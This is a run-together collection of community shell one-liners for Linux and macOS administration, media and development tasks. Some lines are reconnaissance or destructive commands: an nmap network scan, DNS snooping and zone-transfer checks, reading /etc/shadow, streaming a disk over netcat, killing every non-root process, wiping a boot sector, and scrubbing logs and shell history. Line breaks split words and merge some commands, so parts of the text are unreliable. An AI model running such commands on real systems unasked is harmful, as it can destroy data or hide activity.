phrase curl -A "Mozilla" "http://translate.google.com/translate_tts?tl=en&q=hello+world" > hello.mp3 # Display hardware information about PCI / PCIe Slots # dmidecode --type 9 # Reads in the ~/.Xdefaults alias xdef_load='xrdb -merge ~/.Xdefaults' # Exclude grep from your grepped output of ps (alias included in description) pgrep -fl [h]ttpd # Print out your hard drive to a jet-direct compatible printer. cat /dev/hda|netcat -q 0 192.168.1.2 9100 # Find out Information about BIOS # dmidecode --type 0 # Defcon 18 Quals Binary L33tness 300 Solution echo "6d5967306474686924697344406b3379" | xxd -r -p # Find the source file which contains most number of lines in your workspace find -name "*." -exec wc -l "{}" \; | sort -n | tail # start a vnc server session to connect to a gdm login screen set $(ps -e o command= | grep "^/usr/bin/X "); while [ x"$1" != x"-auth" ]; do shift; done; sudo x11vnc -display :0 -auth "$2" # Exclude grep from your grepped output of ps (alias included in description) pgrep -fl [h]ttpd # View a sopcast stream (sp-sc sop://broker.sopcast.com:3912/80562 8908 10999 &>/dev/null &); sleep 10; wait $(vlc http://localhost:10999); killall sp-sc # compare the contents of two directories sdiff <(ls /) <(ls /usr) # add all files not under version control to repository svn st | grep '^?' | sed -e 's/\?[[:space:]]*//' | tr '\n' '\0' | xargs -0 svn add # See your current RAM frequency /usr/sbin/dmidecode | perl -lne 'print $1 if /Current\s+Speed:\s+(\d+\s+MHz)/' # Scan computers OS and open services on all network nmap -O 192.168.1.1/24 # Randomize lines (opposite of | sort) perl -wl -e '@f=<>; for $i (0 .. $#f) { $r=int rand ($i+1); @f[$i, $r]=@f[$r,$i] if ($i!=$r); } chomp @f; print join $/, @f;' try.txt # Convert all .wav to .mp3 audio-convert /* # Unzip testresult file from all zip-files and merge them into one testresult fi le.7z e *.zip -r testresult -so >> testresult.txt # Show all local disk and UFS mounts on Solaris df -kFufs # Count how many times a certain referer appears in your apache log Q="reddit|digg"; F=*.log; awk -F\" '{print $4}' $F | egrep $Q | wc -l # Hexadecimal dump of a file, pipe, or anything cat testfile | hexdump -C # How to delete all the archive files with extension *.tar.gz and greater than 1 0MB?find / -type f -name *.tar.gz -size +10M -exec ls -l {} \; # deleter find . ! -size 0c -mtime +1 -type f -delete # Remove new lines xargs < [inputfile] # sed /pat/!d without using sed (no RE; limited to shell patterns aka globbing) se(){ while read a;do [ "$a" != "${a#*$@*}" ]&&echo $a;done ;} # usage: se pattern # use in place of sed /pat/!d where RE are overkill # delete local *and* remote git repos if merged into local master git branch | cut -c3- | grep -v "^master$" | while read line; do git branch -d $line; done | grep 'Deleted branch' | awk '{print $3;}' | while read line; do git push :$line; done # one-line log format for svn svn log | perl -pe 's/\n//g => s/^-.*/\n/g' # Convert file from UTF8 (no BOM) to UTF16 (with BOM) recode UTF8..UTF-16LE linux-utf8-file.txt # Download all Phrack .tar.gzs for ((i=1; i<67; i++)) do wget http://www.phrack.org/archives/tgz/phrack${i}.tar.gz -q; done # Colorized grep in less ack --pager='less -r' # How to archive all the files that are not modified in the last x number of day s?find /protocollo/paflow -type f -mtime +5 | xargs tar -cvf /var/dump-protocollo/`date '+%d%m%Y'_archive.tar` # Timezone conversions (eg: what time was @tz_dest when it was $tm @tz_orig) TZ="$tz_dest" date -d "$(TZ="$tz_orig" date -d "$tm")" # Days left before password expires let NOW=`date +%s`/86400 ; PASS_LAST_CHANGE=`grep $USER /etc/shadow | cut -d: -f3` ; PASS_LIFE=`grep $USER /etc/shadow | cut -d: -f5`; DAYS_LEFT=$(( PASS_LAST_CHANGE + PASS_LIFE - NOW)) ; echo $DAYS_LEFT # Convert Unix newlines to DOS newlines perl -ple 'BEGIN { $\ = "\r\n" }' # To get the latest information on rpm packages rpm -qa --last # Find files with lines that do not match a pattern fmiss() { grep -cR "$*" * | grep -E ':0$' | cut -d: -f1 ; } # View Processeses like a fu, fu pstree -p # Prints per-line contribution per author for a GIT repository git ls-files | while read i; do git blame $i | sed -e 's/^[^(]*(//' -e 's/^\([^[:digit:]]*\)[[:space:]]\+[[:digit:]].*/\1/'; done | sort | uniq -ic | sort -nr # Delete duplicated dictionaries in spell check list sudo find /usr/share/hunspell/ -lname '*' -delete # List 10 largest directories in current directory du . -mak|sort -n|tail -10 # Create a directory and cd into it mydir(){mkdir -p $1 && cd $1} # Get the time and date of the last server reboot date -d "$(uptime | awk '{gsub(/,/,"",$3);gsub(/:/," hours ",$3); print "- " $3 " minutes"}')" # To get the different name field nformation on rpm packages rpm -qa --qf '%{name}' # Migrate gems from one ruby installation to another /originalInstall/gem list | tr -d '(),' | xargs -L 1 sudo ./gemInst.sh # Display the output of a command from the first line until the first instance o f a regular expression. | perl -n -e 'print "$_" if 1 ... //;' # Recursively remove .svn directories find . -name .svn -exec rm -r {} +; # Search for a pattern across files in a code base (leaving out CVS directories) for f in $(find /path/to/base -type f | grep -vw CVS); do grep -Hn PATTERN $f; done # find sparse files find -type f -printf "%S\t%p\n" 2>/dev/null | gawk '{if ($1 < 1.0) print $1 $2}' # To get how many users logged in and logged out and how many times ? last | awk '{ print $1 }' | sort | uniq -c | grep -v wtmp # Matrix Style while $t; do for i in `seq 1 30`;do r="$[($RANDOM % 2)]";h="$[($RANDOM % 4)]";if [ $h -eq 1 ]; then v="\e[1m $r";else v="\e[2m $r";fi;v2="$v2 $v";done;echo -e $v2;v2="";done; # list tomcat webapps ssh tomcat-server ls -l webapp-dir | grep -- '->' | awk ' { print $(NF-2) " " $(NF-1) " " $NF; }' # Translates a phrase from English to Portuguese curl -s -A "Mozilla" "http://translate.google.com.br/translate_a/t?client=t&text=Hi+world&hl=pt-BR&sl=en&tl=pt&multires=1&ssel=0&tsel=0&sc=1" | awk -F'"' '{print $2}' # to get how many users logged in and logged out and how many times purely using awklast | awk '$1!~/wtmp/{logs[$1]++}END{for (i in logs) print i, logs[i]}' # Display the output of a command from the first line until the first instance o f a regular expression. | perl -pe '/ $_";$_=`file $_`;}print "\n$w";' COMMAND_NAME # expand a program-name into an absolute path on the bash command-line, using ct rl-ebind '"\C-e":"\eb `which \ef`\e\C-e"' # Change your exported xml love list from last.fm, into Song: songname Artist: a rtistnamecat username_lovedtracks.xspf |perl -pe "s/.*(.*)<\/title><creator>(.*)<\/creator>.*/Song: \1 Artist: \2/gi"> titles # printing with psnup psnup -4 -pa4 -Pa4 file.ps file2.ps # Log a command's votes while true; do curl -s http://www.commandlinefu.com/commands/view/3643/log-a-commands-votes | grep 'id="num-votes-' | sed 's;.*id="num-votes-[0-9]*">\([0-9\-]*\)</div>;\1;' >> votes; sleep 10; done # configify the list of gems on ur machine. the quick hack gem list --local | python -c "import sys;import re;l=sys.stdin.readlines();x=['config.gem :'+line[:-1][:line.index(' ')] + ' , ' +line[:-1][line.index(' '):].replace('(',':version => ').replace(')','') for line in l];print '\n'.join(x)" # Burn an ISO on command line with hdiutil on mac hdiutil burn foo.iso # Find the files that include a TODO statement within a project find . -iname '*TODO*' # Show a script or config file without comments or blank lines egrep -v "^$|^#" file # Using psnup to get two pages per page psnup -2 file.ps | lpr # use curl to resume a failed download cat file-that-failed-to-download.zip | curl -C - http://www.somewhere.com/file-I-want-to-download.zip >successfully-downloaded.zip # replace old htaccess php AddHandler values with new one find /var/www/ -type f -name ".htaccess" -exec perl -pi -e 's/AddHandler[\s]*php(4|5)-cgi/AddHandler x-httpd-php\1/' {} \; # Make a statistic about the lines of code find . -name \*.c | xargs wc -l | tail -1 | awk '{print $1}' # Download a TiVo Show curl -s -c /tmp/cookie -k -u tivo:$MAK --digest "$(curl -s -c /tmp/cookie -k -u tivo:$MAK --digest https://$tivo/nowplaying/index.html | sed 's;.*<a href="\([^"]*\)">Download MPEG-PS</a>.*;\1;' | sed 's|\&|\&|')" | tivodecode -m $MAK -- - > tivo.mpg # configify the list of gems on ur machine. the quick hack gem list --local | python -c "import sys;import re;l=sys.stdin.readlines();x=['config.gem \"'+line[:-1][:line.index(' ')] + '\" , ' +line[:-1][line.index(' '):].replace('(',':version => \"').replace(')','')+'\"' for line in l];print '\n'.join(x)" # Get IPv4 of eth0 for use with scripts ifconfig eth0 | awk '/inet / {print $2}' | cut -d ':' -f2 # merge ogg file into a new one according to their download time cat $(ls -c | grep ogg | tac ) > directory/test.ogg # Get your local IP regardless of your network interface ifconfig | sed -ne 's/^.*inet \(addr:\)*\([^ ]*\).*/\2/;te' -e 'd;:e' -e '/^127\./d;p' # no log to trace you paste <(cut -f1 log.txt) <(cut -f2- log.txt | shuf) # search google on any OS google "search terms" #see description for more details # How To Get the Apache Document Root awk -F\" '/^DocumentRoot/{print $2}' $(httpd -V | awk -F\" '/\.conf/{print $2}') # oneline REPL for perl with warnings and readline support perl -MTerm::ReadLine -wde'print "TheAnswer=42\n"' # move files without actually touching them cd /some/directory \&\& tar cf - | cd /some/directory \&\& tar xvf - */ # less an message on a postfix mailsystem with a specific message-id id=<XXXX>; find /var/spool/postfix/ -name $id -exec less {} \; # Encode a hq video +10mb/min to an 1mb/min suitable for youtube ffmpeg -i in.mkv -acodec libfaac -ab 128k -ac 2 -vcodec libx264 -vpre max -crf 22 -threads 0 out.mp4 # Backup to tape, rewind and check md5 tar -cvf - $DIR_TO_BACKUP | tee >(md5sum > backup_md5.txt) > /dev/st0 && mt -f /dev/nst0 bsfm 1 && md5sum -c backup_md5.txt < /dev/st0 # cd to (or operate on) a file across parallel directories cd () { cdop=""; while [ "$1" != "${1#-}" ]; do cdop="${cdop} ${1}"; shift; done; if [ $# -eq 2 ]; then newdir="${PWD/$1/$2}"; [ -d "${newdir}" ] || { echo "no ${newdir}"; return 1; }; builtin cd $cdop "${newdir}"; else builtin cd $cdop "$@"; fi } # get Mother's Day sqlite> select date('now', 'start of year', '+4 months', 'weekday 0', '+7 days'); # delete all DrWeb status, failure and other messages on a postfix server mailq | grep DrWEB | awk {'print $1'} | sed s/*//g | postsuper -d - # Create a zip file ignoring .svn files find . -not \( -name .svn -prune \) -type f | xargs zip XXXXX.zip # List only locally modified files with CVS cvs up 2>&1 | grep --color 'U \|P \|A \|R \|M \|C \|? ' # Encode mkv file to ogg+h264+mkv ffmpeg -i initial.mkv -acodec libvorbis -ab 128k -ac 2 -vcodec libx264 -vpre max -crf 22 -threads 0 final.mkv # List the size (in human readable form) of all sub folders from the current loc ationdu -h --max-depth=1 | sort -hr # resume other user's screen session via su, without pty error # su - <user> ; script /dev/null ; screen -r # file sizes of current directory ls -la | awk '{print $5, " " ,$9}' | sort -rn # purge old stale messages on a qmail queue for i in `grep "unable to stat" /var/log/syslog | cut -d "/" -f 3 | sort | uniq`; do find /var/qmail/queue -name $i -type f -exec rm -v {} \; ; done # Play 2600 off the hook over ssh curl -L -s `curl -s http://www.2600.com/oth-broadband.xml` | xmlstarlet sel -t -m "//enclosure[1]" -v "@url" -n | head -n 1` | ssh -t [user]@[host] "mpg123 -" # Set volume to a mp3 file ffmpeg -i foo.mp3 -vol 20 -acodec libmp3lame bar.mp3 # Terrorist threat level text echo "Terrorist threat level: $(curl -s 'http://www.dhs.gov/dhspublic/getAdvisoryCondition' | awk -F\" 'NR==2{ print $2 }')" # Adds "-c" canonical option to bash "type" builtin command to follow symbolic l inkstype () { if [ "$1" = "-c" ]; then shift; for f in "$@"; do ff=$(builtin type -p "$f"); readlink -f "$ff"; done; else builtin type $typeopts "$@"; fi; } # Start urxvt and do whatever is needed to open the screen session named "main" screen -ls | grep main && urxvt -name screen -e screen -x main || urxvt -name screen -e screen -R -S main # sync a directory of corrupted jpeg with a source directory for i in *jpg; do jpeginfo -c $i | grep -E "WARNING|ERROR" | cut -d " " -f 1 | xargs -I '{}' find /mnt/sourcerep -name {} -type f -print0 | xargs -0 -I '{}' cp -f {} ./ ; done # Play a podcast via XPath and mpg123 curl -L -s `curl -s [http://podcast.com/show.rss]` | xmlstarlet sel -t -m "//enclosure[1]" -v "@url" -n | head -n 1` | ssh -t [user]@[host] "mpg123 -" # Multi line grep using sed and specifying open/close tags sed '/'"<opening tag>"'/,/'"<closing tag>"'/{/'"<closing tag>"'/d;p};d' "<file>" # use wget to check if a remote file exists wget -O/dev/null -q URLtoCheck && echo exists || echo not exist # Generate an XKCD #936 style 4 word password jot 4 | awk '{ print "wc -l /usr/share/dict/words | awk '"'"'{ print \"echo $[ $RANDOM * $RANDOM % \" $1 \"]\" }'"'"' | bash | awk '"'"'{ print \"sed -n \" $1 \"p /usr/share/dict/words\" }'"'"' | bash" }' | bash | tr -d '\n' | sed 's/$/\n/' # Simple server which listens on a port and prints out received data nc -l -p portnumber # Find files modified in the last N days; list sorted by time find . -type f -mtime -14 -exec ls -ltd \{\} \; | less # Get IPv4 of eth0 for use with scripts ip addr show eth0 | awk '/inet / {FS = "/"; $0 = $2; print $1}' # Join avi files cat b1.avi b2.avi b3.avi b4.avi b5.avi b6.avi b7.avi > output.avi; mencoder -forceidx -oac copy -ovc copy output.avi -o output_final.avi; rm output.avi # copying data with cpio find ./source -depth -print | cpio -cvo> /destination/source_data.cpio; cd /destination; cpio -icvmdI ./source_data.cpio; rm -rf ./source_data.cpio # Calculating series with awk: add numbers from 1 to 100 awk 'BEGIN {for(i=1;i<=100;i++)sum+=i}; END {print sum}' /dev/null # Rename all images in current directory to filename based on year, month, day a nd time based on exif informationexiftool -d %Y-%m-%d_%H.%M.%S%%-c.%%e "-filename<CreateDate" . # Finds the track no of songs, to be played mpc playlist | grep -in bar # Stripping ^M at end of each line for files perl -pi -e 's:^V^M::g' <filenames> # Change permissions of every directory in current directory find . -type d -exec chmod 755 {} \; # Lists unambigously names of all xml elements used in files in current director ygrep -Eho '<[a-ZA-Z_][a-zA-Z0-9_-:]*' * | sort -u | cut -c2- # netstat with group by (ip adress) netstat -nt | awk -F":" '{print $2}' | sort | uniq -c # Run command in an ftp session ftp>!w # Remind yourself every 15 minutes (repeated reminders) watch -n 900 "notify-send -t 10000 'Look away. Rest your eyes'" # find all file larger than 500M find / -type f -size +548576 -printf "%s:%h%f\n" # Print all lines from a file that has the same N th and M th column awk '$3==$4' /etc/passwd # See which files differ in a diff diff dir1 dir2 | diffstat # Remove the boot loader from a usb stick dd if=/dev/zero of=/dev/sdb bs=446 count=1 # Makes a project directory, unless it exists; changes into the dir, and creates an empty git repository, all in one commandgitstart () { if ! [[ -d "$@" ]]; then mkdir -p "$@" && cd "$@" && git init; else cd "$@" && git init; fi } # Zenity percent progressbar for scripts accepting parameters (for FILE in $@; do echo $[100*++x/$#]; command-for-each-parameter; done)|zenity --progress --auto-close # monitor the last command run watch !! # Shows the largest files in your archives tar -tvjf backup.tar.bz2 | sort -nrk 3 | head # Safely store your gpg key passphrase. pwsafe -qa "gpg keys"."$(finger `whoami` | grep Name | awk '{ print $4" "$5 }')" # Test if the given argument is a valid ip address. perl -e '$p=qr!(?:0|1\d{0,2}|2(?:[0-4]\d?|5[0-5]?|[6-9])?|[3-9]\d?)!;print((shift=~m/^$p\.$p\.$p\.$p$/)?1:0);' 123.123.123.123 # Receiving alerts about commands who exit with failure export PROMPT_COMMAND='( x=$? ; let x!=0 && echo shell returned $x )' # floating point bash calculator w/o precision b(){ echo "scale=${2:-2}; $1" | bc -l; } # Show thermal info cat /proc/acpi/thermal_zone/*/temperature # hexadecimal dump of a file as it is on disk with hexadecimal offsets od --format=x1 --address-radix=x mybinaryfile # DNS cache snooping for i in `cat names.txt`; do host -r $i [nameserver]; done # show your private/local ip address ifconfig | grep cast | cut -d':' -f2 | cut -d' ' -f1 # Generate random valid mac addresses macchanger -A (nic) # use ethereal to generate a pcap file of a VOIP call tethereal -i eth0 -R 'iax2 && ip.addr==10.162.78.162' -w /tmp/iax2.pcap # Removing sensitive data from the entire repo history. git filter-branch --index-filter 'git rm --cached --ignore-unmatch FileToRemove' HEAD # Install mysql-2.8.1 rubygem on Mac OS X 10.6 (Snow Leopard) sudo env ARCHFLAGS="-arch x86_64" gem install mysql # find out about a process cat /proc/<PID>/environ # Remove all directories less than 1 MB in size in or below current directory find . -type d -execdir du -sh '{}' ';' | grep -E "[0-9]+K" | sed 's/^[0-9\.]\+K[\t ]\+//' | tr "\n" "\0" | xargs -0 rm -rf # stdin speaker via espeak awk '{print}' | espeak -v pt -stdin # show how much diskspace all images in a given directory need find /home/bubo/ -type f \( -iname \*.jpg -print0 , -iname \*.png -print0 , -iname \*gif -print0 \) | du -cm --files0-from - | tail -1 # Create a virtual disk (CD/DVD) in VirtualBox VBoxManage openmedium dvd "/path/name.iso" # get tor bridges lynx -dump 'https://bridges.torproject.org' | sed '/^bridge [0-9\.][0-9\.]*:[0-9][0-9]*/!d' # Check if your domain name is suspectable to axfr attacks. dig @somenameserver.net somedomainname.net axfr # Find the package a command belongs to on debian-based distros function whichpkg { dpkg -S $1 | egrep -w $(which $1)$; } # find specified directory and delete it recursively including directories with spacesfind . -name "directory_name" -type d -print0 | xargs -0 -i rm -rf {} # Execute a command with the last parameter of a previous command ls !$ # kill some process (same as others) but parsing to a variable pkill -9 -f program # Reverse DNS lookups sed 's/\([0-9]*\)\.\([0-9]*\)\.\([0-9]*\)\.\([0-9]*\).in-addr.arpa domain name pointer\(.*\)\./\4.\3.\2.\1\5/' \ lookups.txt # find files in $PATH that were not installed through dpkg echo -e "${PATH//://\n}" >/tmp/allpath; grep -Fh -f /tmp/allpath /var/lib/dpkg/info/*.list|grep -vxh -f /tmp/allpath >/tmp/installedinpath ; find ${PATH//:/ } |grep -Fxv -f /tmp/installedinpath # floating point shell calculator calc() { awk 'BEGIN { OFMT="%f"; print '"$*"'; exit}'; } # irssi log histogram awk '/^--- Day changed (.*)/ {st=""; for (i=0;i<ar[date];i++) {st=st"*"} print date" "st; date=$7"-"$5"-"$6} /> emergency/ {ar[date]++} END {st=""; for (i=0;i<ar[date];i++) {st=st"*"}; print date" "st}' #engineyard.log # Download all PDFs from an authenificated website wget -r -np -nd -A.pdf --user *** --password *** http://www.domain.tld/courses/***/download/ # 'micro' ps aux (by mem/cpu) ps aux | awk '{print($1" "$3" "$4" "$11);}' | grep -v "0.0" # A command's package details function summpkg { dpkg -s $(dpkg -S $1 | egrep -w $(which $1)$ | awk -F: '{print $1}') ; } # grep selectively find /path -name \*.php -user nobody -exec grep -nH whatever {} \; # List installed rpm named and arquitecture. rpm -qa --queryformat "%{NAME} %{ARCH}\n" # Play music from pure data sudo cat /usr/share/icons/*/*/* > /dev/dsp # List files and sizes find / -type f -exec wc -c {} \; | sort -nr | head -100 # show current directory xdg-open . # Open your application to a specific size and location command -geometry 120x30+1280+0 # upload a file via ftp curl -u user:passwd -T /home/dir/local_file_to_upload ftp://your_host.com/subdir/ # Using numsum to sum a column of numbers. echo $(( $( cat count.txt | tr "\n" "+" | xargs -I{} echo {} 0 ) )) # Create a log file of Nvidia graphics card temperatures using nvidia-smi logfile=/var/log/gputemp.log; timestamp=$( date +%T );temps=$(nvidia-smi -lsa | grep Temperature | awk -F: ' { print $2 } '| cut -c2-4 | tr "\n" " ");echo "${timestamp} ${temps}" >> ${logfile} # encode a text to url_encoded format perl -MURI::Escape -e 'print uri_escape("String encoded to a url");' # Convert pkcs12 Certificate to ASCII for use in PHP openssl pkcs12 -info -nodes -in /path/to/encryptedp12 > /path/to/asciip12 # find pictures and renames them appending the containing folder name find <folder> -type f -name '*.jpg' -exec bash -c 'ext="${0##*.}";path="$(dirname "$0")";name="$(basename "$0"|sed "s/.jpg//")";folder="$(dirname "$0"|tr / \\n |tail -1)";new="${path}/${name}_${folder}.${ext}"; mv "$0" "${new}"' {} \; # Check if the files in current directory has the RPATH variable defined for i in *; do file $i | grep -q ELF || continue; readelf -d $i | grep -q RPATH || echo $i; done # Launch an interactive shell with special aliases and functions. bash --rcfile /a/special/bashrc # Switch on eeepc camera sudo echo 1 > /proc/acpi/asus/camera # Find out if MySQL is up and listening on Linux netstat -tap | grep mysql # Sorting by rows infile=$1 for i in $(cat $infile) do echo $i | tr "," "\n" | sort -n | tr "\n" "," | sed "s/,$//" echo done # Command to display how much resource is taken by cpu and which core is taking pidstat -C "ffmpeg" -u # Match a URL echo "(Something like http://foo.com/blah_blah)" | grep -oP "\b(([\w-]+://?|www[.])[^\s()<>]+(?:\([\w\d]+\)|([^[:punct:]\s]|/)))" # List last opened tabs in firefox browser grep -Eo '"entries":\[{"url":"[^"]*"' "$HOME/.mozilla/firefox/*.default/sessionstore.js" | sed 's/^.*:"//; s/"$//' # let the cow suggest some commit messages for you while true; do curl -s http://whatthecommit.com | perl -p0e '($_)=m{<p>(.+?)</p>}s' | cowsay; sleep 2; done # Sets performance CPU governer of all cores of a 4-core CPU. for i in {0..3}; do cpufreq-set -c $i -g performance; done # Convert a batch of images to a Video mencoder "mf://frame_*.bmp" -mf w=720:h=480:fps=30:type=bmp -ovc lavc -lavcopts vcodec=mpeg4 -o number_video.mp4 # Spelling Suggestion curl -s "http://search.yahooapis.com/WebSearchService/V1/spellingSuggestion?appid=YahooDemo&query=mozmbque"|sed -n -e 's/.*<Result>\(.*\)<\/Result>.*/\1/p' # 'micro' ps aux (by mem/cpu) ps -o user,%cpu,%mem,command # Display an updating clock in sh variants while true; do date; sleep 1; done # Search through files, ignoring .svn ack -ai 'searchterm' # Simulate typing echo "pretty realistic virtual typing" | randtype -m 4 # remove script from infected html files grep -ZlRr -e BAD_SCRIPT_LINE * |xargs -0 sed -i 's/BAD_SCRIPT_LINE//g' # find all file larger than 500M find . -type f -size +500M -exec du {} \; | sort -n # Search and install true type fonts under user home directory find ~ -name "*.ttf" -exec cp {} /usr/share/fonts/truetype \; & fc-cache -f # search google from command line function google() { xdg-open "http://www.google.com/#sclient=psy&q=$1"; } # Check if your webserver supports gzip compression with curl if curl -s -I -H "Accept-Encoding: gzip,deflate" http://example.com/ | grep 'Content-Encoding: gzip' >/dev/null 2>&1 ; then echo Yes; else echo No;fi # Query wikipedia over DNS wiki() { local IFS=_; dig +short txt "${*^}".wp.dg.cx; } # Flush DNS cache on OS X 10.5 Leopard dscacheutil -flushcache # Watch number of lines being processed on a clear screen cat /dev/urandom|awk 'BEGIN{"tput cuu1" | getline CursorUp; "tput clear" | getline Clear; printf Clear}{num+=1;printf CursorUp; print num}' # get the IP connected to the server (usefull to detect IP that should be blocke d)netstat -ntu | awk '{print $5}' | cut -d: -f1 | sort | uniq -c | sort -n # Get parent directory path dirname `pwd` # find php files even without extension find . -exec grep -q '<?php' {} /dev/null \; -ls # Kill all processes that don't belong to root/force logoff for i in $(pgrep -v -u root);do kill -9 $i;done # convert string to array s="124890";for i in $(seq 0 1 $((${#s}-1))); do arr[$i]=${s:$i:1}; done # FInd the 10 biggest files taking up disk space find / -type f -size +100M -exec du {} \; | sort -n | tail -10 | cut -f 2 # telling you from where your commit come from function where(){ COUNT=0; while [ `where_arg $1~$COUNT | wc -w` == 0 ]; do let COUNT=COUNT+1; done; echo "$1 is ahead of "; where_arg $1~$COUNT; echo "by $COUNT commits";};function where_arg(){ git log $@ --decorate -1 | head -n1 | cut -d ' ' -f3- ;} # Check for orphaned python files find /usr/lib/python* -regextype posix-extended ! \( -type f -regex '.*.(pyc|pyo)' -prune -o -print \) | qfile -o -f - # speak a chat log file while it's running tail -f LOGFILE | perl -ne '`say "$_"`;' # find php files even without extension grep -Ilr "<?php" . # look for a header reference in a shared library strings libc-2.2.5.so | grep stat.h # check rpm pkg content w/o installation rpm -qlp <package.rpm> # Hide files and folders on GNOME Desktop. gconftool-2 --set /apps/nautilus/preferences/show_desktop --type bool 0 # list all file-types (case-insensitive extensions) including subdirectories find /path/to/dir -type f |sed 's/^.*\.//' |sort -f |uniq -i # join every five lines seq 20 | awk 'ORS=NR%5?FS:RS' # Clears Firefox` cache without clicking around rm_cache() { rm -f $HOME/.mozilla/firefox/<profile>/Cache/* }; alias rmcache='rm_cache' # modify (mozldap) with proxy authentication and no other controls ldapmodify -Y "dn:uid=rob,dc=example.com" -g -R -J 2.16.840.1.113730.3.4.16 ... # Extract names and email addresses from LDIF files grep -E '^(cn|mail):' file.ldif | sed -e 's/^[a-z]*: //' # clear stale favicons in firefox sqlite3 .mozilla/firefox/private/places.sqlite "update moz_places set favicon_id=null where favicon_id = (select p.favicon_id from moz_bookmarks b join moz_places p on b.fk = p.id where b.title = 'Broken');" # group every five lines awk '{x+=$2; y+=$3} NR%5==0{print x/5,y/5; x=y=0}' file.txt # mysql: Convert MyISAM tables to InnoDB via mysqldump mysqldump | sed -e 's/^) ENGINE=MyISAM/) ENGINE=InnoDB/' # cpuinfo cat /proc/cpuinfo # List shared libraries recognized by the system ldconfig -p | grep <somenewlib.so> # convert string to array s=124890; array=($(echo $s | sed 's/./& /g')); echo ${array[@]}; echo ${!array[@]} # Get IPv4 of eth0 for use with scripts ifconfig eth0 | grep -o "inet [^ ]*" | cut -d: -f2 # Convert movie to psp format ffmpeg -i "inputFile.avi" -f psp -r 29.97 -b 512k -ar 24000 -ab 64k -s 368x208 M4V00002.MP4 # Get all links of a website lynx -dump http://www.domain.com | awk '/http/{print $2}' | egrep "^https{0,1}" # MySQL: Slice out a specific database (assumes existence of the USE statement) from mysqldump outputsed -n "/^USE \`employees\`/,/^USE \`/p" # make a samba shared folder writable, when doing an svn commit on OSX chflags -R nouchg ./ # Summarize size of all files of given type in all subdirectories (in bytes) SUM=0; for FILESIZE in `find /tmp -type f -iname \*pdf -exec du -b {} \; 2>/dev/null | cut -f1` ; do (( SUM += $FILESIZE )) ; done ; echo "sum=$SUM" # ffmpeg -i movie.mpg -vhook '/usr/lib/vhook/watermark.so -f overlay.png -m 1 -t 222222' -an mm.flvffmpeg -i movie.mpg -vhook '/usr/lib/vhook/watermark.so -f overlay.png -m 1 -t 222222' -an mm.flv # Fewer keystrokes to search man page of command function mg(){ man ${1} | egrep ${2} | more; } # sudo for launching gui apps in background sudo -b xterm # hard link file for Windows fsutil hardlink creat new_file exits_file # bash function for convenient 'find' in subversion working directories svn_find () { local a=$1; shift; find $a -not \( -name .svn -prune \) $*; } # Link all the files in this directory to that directory cd /this/directory; for f in *; do ln -s `pwd`/$f /that/directory; done # Change size of lots of image files. File names are read from a text file. ( while read File; do mogrify -resize 1024 -quality 96 $File; done ) < filelist # @mail.com by adding the line in list.txt while read line; do echo -e "$line@mail.com"; done < list.txt # Generate a random number in a range START=20; END=50 echo $(($START+(`od -An -N2 -i /dev/random`)%($END-$START+1))) # Remove unused libs/packages aptitude remove $(deborphan) # command line to optimize all table from a mysql database mysqlcheck -op -u<user> <db> # Find artist and title of a music cd, UPC code given (first result only) curl http://www.discogs.com/search?q=724349691704 2> /dev/null | grep \/release\/ | head -2 | tail -1 | sed -e 's/^<div>.*>\(.*\)<\/a><\/div>/\1/' # MySQL: Slice out a specific table from a specific database (assumes existence of the USE statement) from output of mysqldumpmysqldump | sed -n "/^USE \`employees\`/,/^USE \`/p" | sed -n "/^-- Table structure for table \`departments\`/,/^-- Table structure for table/p" # Delete all active Brightbox cloud servers for server in `brightbox-servers list |grep active|awk '{ print $1}'`;do brightbox-servers destroy $server;done # use the short username by default for network authentication defaults write /Library/Preferences/com.apple.NetworkAuthorization UseShortName -bool YES # Stop Mac OSX from creating .DS_Store files when interacting with a remote file server with the Finderdefaults write com.apple.desktopservices DSDontWriteNetworkStores true # Generate MD5 of string and output only the hash checksum echo -n "String to MD5" | md5sum | cut -b-32 # simple du command to give size of next level of subfolder in MB du --max-depth=1 -B M |sort -rn # Dump MySql to File mysqldump --opt -uUSERNAME -pPASSWORD -h mysql.host.com database > ~/filename.sql # MySQL: Strip a my.cnf file from comments, remove blank lines, normalize spaces :cat my.cnf | sed '/^#/d' | sed '/^$/d' | sed -e 's/[ \t]\+//g' # Destroy all unmapped Brightbox Cloud IPs for ip in `brightbox-cloudips list |grep unmapped|awk '{ print $1}'`;do brightbox-cloudips destroy $ip;done # Find the process ID of such program: pgrep xterm # list files not owned by any user or group find / -nouser -o -nogroup -print # Emulate a dual-screen using vnc x2vnc {-west|-east|-north|-south} computer-ip:display-number # Count occurrences of a word/token in a file find . -name file.txt | xargs -e grep "token" -o | wc -l # reassign pipe key from AltGr-1 to AltGr-7 in X11 xmodmap -e 'keycode 10 = 1 plus brokenbar exclamdown brokenbar exclamdown' ; xmodmap -e 'keycode 16 = 7 slash bar seveneighths bar seveneighths' # Delete the previous entry in your history alias histdel='history -d $((HISTCMD-2)) && history -d $((HISTCMD-1))' # Convert encoding of a file iconv -f utf8 -t utf16 /path/to/file # Install unrar on Linux box from sources cd /usr/src ; wget http://www.rarlab.com/rar/unrarsrc-4.0.2.tar.gz ; tar xvfz unrarsrc-4.0.2.tar.gz ; cd unrar ; ln -s makefile.unix Makefile ; make clean ; make ; make install # Remove the first line containing 'match' from file sed -i "$(grep -nm 1 match file|cut -f1 -d:)d" file # MySQL: normalize parameter names on my.cnf configuration file cat my.sandbox.cnf | awk -F "=" 'NF < 2 {print} sub("=", "=~placeholder~=") {print}' | awk -F "=~placeholder~=" 'NF < 2 {gsub("-", "_", $0); print} NF==2 {gsub("-", "_", $1); print $1 "=" $2}' # Erase empty files find . -size 0 -exec rm '{}' \; # generate random password cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w 10 | sed 1q # Check if zip files from current directory are good find . -maxdepth 1 -name "*.zip" -exec unzip -tqq {} \; # Merge various PDF files gs -dNOPAUSE -sDEVICE=pdfwrite -sOUTPUTFILE=output.pdf -dBATCH first.pdf second.pdf # convert chrome html export to folders, links and descriptions grep -E '<DT><A|<DT><H3' bookmarks.html | sed 's/<DT>//' | sed '/Bookmarks bar/d' | sed 's/ ADD_DATE=\".*\"//g' | sed 's/^[ \t]*//' | tr '<A HREF' '<a href' # Find all PowerPC applications on OS X system_profiler SPApplicationsDataType | grep -A3 -B4 "Kind: PowerPC" # Which PATH variable should I use for this scirpt? whichpath() { local -A path; local c p; for c; do p=$(type -P "$c"); p=${p%/*}; path[${p:-/}]=1; 